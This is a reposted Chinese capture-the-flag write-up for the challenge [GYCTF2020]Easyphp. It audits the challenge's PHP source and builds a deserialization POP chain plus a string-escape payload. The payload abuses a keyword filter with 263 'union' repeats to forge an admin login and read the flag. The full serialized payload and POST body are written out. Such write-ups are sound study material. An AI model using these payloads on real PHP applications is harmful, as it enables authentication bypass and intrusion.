IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [GYCTF2020]Easyphp -> 正文阅读

[PHP知识库][GYCTF2020]Easyphp

[GYCTF2020]Easyphp

打开题目随便输入登录了一下,都是啥反映都没有,然后看到url上面是login.php就尝试输了一下register.php,也没有这个页面,然后尝试了一系列备份文件,发现有www.zip,下下来是题目的源码,在登录的时候抓包可以发现参数是用post方式进行传递的
在这里插入图片描述

源码审计

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
    //使用正则匹配,将array里面的字符串都换成hacker
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        //新实例化一个dbCtrl类
        $this->id=$mysqli->login('select id,password from user where username=?');
        //这里的login函数应该是dbCtrl里面的login函数,那么这里就是执行字符串中的sql语句,函数的返回值应该是执行sql注入语句后的id值
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        //发出一个弹窗
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
        //实例化一个Info类,然后将其序列化
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
        //这里进行了一个奇怪的读文件的操作,所以我们传入的nickname参数应该是要是一个文件
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        //这里又进行了一次反序列化
        $upDate=new dbCtrl();
        
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        //$mysqli->prepare是创建一个准备查询语句,这里是一个SQL插入语句
        $result->bind_param('s', $this->name);
        //sql注入的参数是s
        $result->execute();
        //执行?
        $result->bind_result($idResult, $passwordResult);
        //将结果中的值绑定到变量,也就是
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
        //根据后面的内容,这里的token就是我们进行登录的用户名,也就是这里给出了我们用户名是admin
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
        //这里需要$passwordResult的值要为password的值进行md5加密
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

在源码审计当中学到了很多函数

$mysqli->prepare:是创建一个准备查询语句,这里是一个SQL插入语句
bind_param("sss", firstname,lastname, $email):该函数绑定了 SQL 的参数,且告诉数据库参数的值。 
"sss" 参数列处理其余参数的数据类型。s 字符告诉数据库该参数为字符串。
bind_result($idResult, $passwordResult):将结果中的值绑定为变量
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

在lib.php中的dbCtrl类中给出了执行sql语句的代码以及怎样是查询成功的条件,首先要我们进行登录的username=admin,然后我们进行sql注入里面的password值等于id值的md5加密即可。这里我们可以对sql语句进行构造,原来的语句是select id,password from user where username=?,我们控制id的值等于1,然后password的值就为1的md5加密:select 1,c4ca4238a0b923820dcc509a6f75849b from user where username=?

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        //这里又进行了一次反序列化
        $upDate=new dbCtrl();
        
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}

在UpdateHelper类中,__destruct魔术方法这里有输出,就有可以输出flag的地方,但是这里将这里的类当作字符串来输出了,所以可以调用_toString魔术方法

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
 public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

在User类里面就有这个魔术方法,在这里面从nickname变量调用了User类里面的update()函数,并且参数是null

public function update(){
        $Info=unserialize($this->getNewinfo());
        //这里有了反序列化,所以我们传入的参数应该要进行序列化操作
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

这里的getNewinfo函数就是将新实例化一个类,里面的元素是agenickname,在update函数里面将这个实例化的类再反序列化,因为上面调用的update方法并不是User类里面的,调用了非原来类里面的方法就会触发__call魔术方法

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

__call里面也有一个输出,这里是通过CtrlCase来调用login函数,这里wp里面说参数是从User类里面的age传过来的,这里不太明白,但是这里通过CtrlCase来实例化了dbCtrl里面的对象,进而触发了login函数,所以这里我们对dbCtrl里面的变量赋值就可以实现我们的构造,并且这里面的$sql参数,其实是User类里面的$age可以控制的,因为在User里面新实例化了一个新的dbCtrl类,所以可以构造pop链
在User类在__call魔术方法里面用到update()函数来在nickname处新实例化了一个info类,然后再Info类当中通过触发login函数里面的update函数,然后实例化了一个dbCtrl类,在UpdateHelper类里面的echo $this->sql;语句触发了__call函数,因为__call函数在User类里面,所以这里就新实例化了一个新的User类。
pop链顺序

UpdateHelper.sql->User
User.nickname->Info
Info.CtrlCase->dbCtrl
<?php
error_reporting(0);
session_start();
class User
{
    public $age=null;
    public $nickname=null;
    public function __construct()
    {
        $this->age='select 1,c4ca4238a0b923820dcc509a6f75849b from user where username=?';
        $this->nickname= new Info();
    }
}
class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase =new dbCtrl();
    }
}
Class UpdateHelper{
    public $sql;
    public function __construct(){
        $this->sql =new User();
    }
}
class dbCtrl
{
    public $name='admin';
    public $password='1';
}
$a=new UpdateHelper();
echo serialize($a);

运行结果是

O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

因为源码中是既进行了序列化,也进行了反序列化,所以我们还要将序列化的字符串进行反序列化
可以看到这里反序列化的是getNewinfo的返回值

public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

getNewInfo函数是将实例化的类进行序列化操作,再经过safe()函数处理,所以最终需要进行反序列化的并不是我们传进去的字符串,而是用我们post传入的agenickname参数进行实例化处理,最后得到的返回值再进行反序列化

public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

safe函数就是使用正则匹配,将array里面的字符串都换成hacker

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

我们先按照源码的提示序列化一个Info

<?php
class Info{
    public $age='10';
    public $nickname='ken';
    public $CtrlCase;
}
$o = new Info();
echo serialize($o);

得到的结果:

O:4:"Info":3:{s:3:"age";s:2:"10";s:8:"nickname";s:3:"ken";s:8:"CtrlCase";N;}

所以说我们如果将我们上面构造pop链得到的结果当作agenickname传入时其实就是当作序列化时的一个字符串了,所以我们可以通过闭合参数中的引号来进行字符串的逃逸,,然后在最后再加上一个结束的}

";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

先把上面的字符串传给nickname来尝试一下序列化
在这里插入图片描述
红色的范围内是我们传进去的nickname的值,虽然最开始我们传入的"想要闭合前面的"但是长度的限制还是没有办法绕过,所以这里的safe()函数就派上了用场,只要黑名单里面的字符串和hacker长度不一样我们就可以利用序列化中字符的逃逸,用第一个union尝试一下,因为整个字符串的长度是263,unionhacker的长度相差1,所以这里就需要有263个union来进行绕过,263*5+263=1578,然后替换之后去掉后面我们需要进行反序列化的字符串的长度就刚好是1578
接下来先构造263个union,然后拼接上我们刚刚尝试的payload

unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

将上面的payload进行序列化操作之后长度真的是1578,那我们来看看经过safe函数的过滤之后是什么样的
在这里插入图片描述
经过safe函数的过滤之后union都被替换成了hacker,并且长度还是1578,所以成功的完成了字符的逃逸
在这里插入图片描述

age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-07-29 11:25:04  更:2021-07-29 11:26:55 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/2 8:31:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码